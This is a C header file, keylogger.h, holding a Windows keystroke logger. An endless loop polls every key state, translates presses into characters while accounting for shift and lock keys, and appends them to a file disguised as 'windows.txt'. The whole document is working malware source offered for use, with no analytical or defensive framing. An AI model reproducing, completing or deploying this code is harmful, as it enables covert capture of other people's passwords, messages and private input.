keylogger.h

DWORD WINAPI logg()
{
	int vkey,last_key_state[0xFF];
	int isCAPSLOCK,isNUMLOCK;
	int isL_SHIFT, isR_SHIFT;
	int isPressed;
	char showKey;
	char NUMCHAR[]=")!@#$%^&*(";
	char chars_vn[]=";=,-./`";
	char chars_vs[]=":+<_>?~";
	char chars_va[]="[\\]\';";
	char chars_vb[]="{|}\"";
	FILE *kh;
	char KEY_LOG_FILE[]="windows.txt";

	// making last key state 0
	for(vkey=0; vkey<0xFF; vkey++)
	{
		last_key_state[vkey]=0;
	}

	// running infinite
	while(1)
	{
		// take rest for 10 milliseconds
		Sleep(10);

		// get key state of CAPSLOCK,NUMLOCK
		// get key LEFT_SHIFT,RIGHT_SHIFT
		isCAPSLOCK=(GetKeyState(0x14)&0xFF)>0?1:0;
		isNUMLOCK=(GetKeyState(0x90)&0xFF)>0?1:0;
		isL_SHIFT=(GetKeyState(0xA0)&0xFF00)>0?1:0;
		isR_SHIFT=(GetKeyState(0xA1)&0xFF00)>0?1:0;

		// checking state of all virtual keys
		for(vkey=0; vkey<0xFF; vkey++)
		{
			isPressed=(GetKeyState(vkey)&0xFF00)>0?1:0;
			showKey=(char)vkey;
			if(isPressed==1 && last_key_state[vkey]==0)
			{
				// for alphabets
				if(vkey>=0x41 && vkey<=0x5A)
				{
					if(isCAPSLOCK==0)
					{
						if(isL_SHIFT==0 && isR_SHIFT==0)
						{
							showKey=(char)(vkey+0x20);
						}
					}
					else if(isL_SHIFT==1 || isR_SHIFT==1)
					{
						showKey=(char)(vkey+0x20);
					}
				}

				// for num chars
				else if(vkey>=0x30 && vkey<=0x39)
				{
					if(isL_SHIFT==1 || isR_SHIFT==1)
					{
						showKey=NUMCHAR[vkey-0x30];
					}
				}
		
				// for right side numpad
				else if(vkey>=0x60 && vkey<=0x69 && isNUMLOCK==1)
				{
					showKey=(char)(vkey-0x30);
				}


				// for printable chars
				else if(vkey>=0xBA && vkey<=0xC0)
				{
					if(isL_SHIFT==1 || isR_SHIFT==1)
					{
						showKey=chars_vs[vkey-0xBA];
					}
					else
					{
						showKey=chars_vn[vkey-0xBA];
					}
				}
				
				// miscellaneous
				else if(vkey>=0xDB && vkey<=0XDF)
				{
					if(isL_SHIFT==1 || isR_SHIFT==1)
					{
						showKey=chars_vb[vkey-0xDB];
					}
					else
					{
						showKey=chars_va[vkey-0xDB];
					}
				}

				// for right side chars ./*-+..
				// for chars like space, \n, enter etc..
				// for enter use newline char
				// don't print other keys
				else if(vkey==0x0D)
				{
					showKey=(char)0x0A;
				}
				else if(vkey>=0x6A && vkey<=0x6F)
				{
					showKey=(char)(vkey-0x40);
				}
				else if(vkey!=0x20 && vkey!=0x99)
				{
					showKey=(char)0x00;
				}
				
				// print and save captured key
				if(showKey!=(char)0x00)
				{
					kh=fopen(KEY_LOG_FILE, "a");
					putc(showKey, kh);
					fclose(kh);
				}
			}
			// save last state of key
			last_key_state[vkey]=isPressed;
		}
	}// end of while loop
}// end of function